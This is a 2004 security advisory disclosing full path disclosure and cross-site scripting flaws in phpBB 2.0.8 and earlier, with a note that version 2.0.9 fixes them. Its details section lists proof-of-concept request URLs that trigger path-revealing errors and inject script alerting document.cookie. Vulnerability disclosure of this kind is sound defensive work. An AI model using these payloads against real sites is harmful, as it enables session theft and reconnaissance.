[UNIX] phpBB Full Path Disclosure and XSS Vulnerability (category_rows, faq, ranksrow)

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To: list@securiteam.com
Date: 22 Jul 2004 18:14:47 +0200

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  phpBB Full Path Disclosure and XSS Vulnerability (category_rows, faq,
ranksrow)
------------------------------------------------------------------------

SUMMARY

 <http://www.phpbb.com/> phpBB is "a high powered, fully scalable, and
highly customizable open-source bulletin board package. phpBB has a
user-friendly interface, simple and straightforward administration panel,
and helpful FAQ. Based on the powerful PHP server language and your choice
of MySQL, MS-SQL, PostgreSQL or Access/ODBC database servers, phpBB is the
ideal free community solution for all web sites."

Full path disclosures as well as cross-site scripting attacks are possible
due to uninitialized arrays in the phpBB code. 'register_globals' must be
enabled on a server in order to exploit this vulnerability.

DETAILS

Vulnerable Systems:
 * PhpBB version 2.0.8 and prior

Immune Systems:
 * PhpBB version 2.0.9

Below are example HTTP requests that demonstrate the vulnerabilities. The
type of vulnerability precedes each example and it's location.

Full Path Disclosure:
Full path disclosure in "index.php":
http://localhost/phpbb208/index.php?category_rows=waraxe

Response:
Fatal error: [] operator not supported for strings in
D:\apache_wwwroot\phpbb208\index.php on line 120

Full path disclosure in "language\lang_english\lang_faq.php":
http://localhost/phpbb208/faq.php?faq=waraxe

Fatal error: [] operator not supported for strings in
D:\apache_wwwroot\phpbb208\language\lang_english\lang_faq.php on line 41

Full path disclosure in "language\lang_english\lang_bbcode.php ":
http://localhost/phpbb208/faq.php?mode=bbcode&faq=waraxe

Fatal error: [] operator not supported for strings in
D:\apache_wwwroot\phpbb208\language\lang_english\lang_bbcode.php on line
46

Full path disclosure in "includes\usercp_viewprofile.php":
http://localhost/phpbb208/profile.php?mode=viewprofile&u=2&ranksrow=waraxe

Fatal error: [] operator not supported for strings in
D:\apache_wwwroot\phpbb208\includes\usercp_viewprofile.php on line 46

Cross-Site Scripting:
Cross-site scripting in "index.php":
http://localhost/phpbb208/index.php?category_rows[0][cat_id]=1&category_rows[0][cat_title]=waraxe <scr!pt>alert(document.cookie);</scr!pt>&category_rows[0][cat_order]=99

Cross-site scripting in "language\lang_english\lang_faq.php":
http://localhost/phpbb208/faq.php?faq[0][0]=f00<scr!pt>alert(document.cookie);</scr!pt>bar&faq[0][1]=waraxe

Cross-site scripting in "language\lang_english\lang_bbcode.php":
http://localhost/phpbb208/faq.php?mode=bbcode&faq[0][0]=f00<scr!pt>alert(document.cookie);</scr!pt>bar&faq[0][1]=waraxe

Vendor Status:
The vendor has been contacted and a newer version is available for
download. Users are encouraged to upgrade to the newer version.

ADDITIONAL INFORMATION

The information has been provided by <mailto:come2waraxe@yahoo.com> Janek
Vind.

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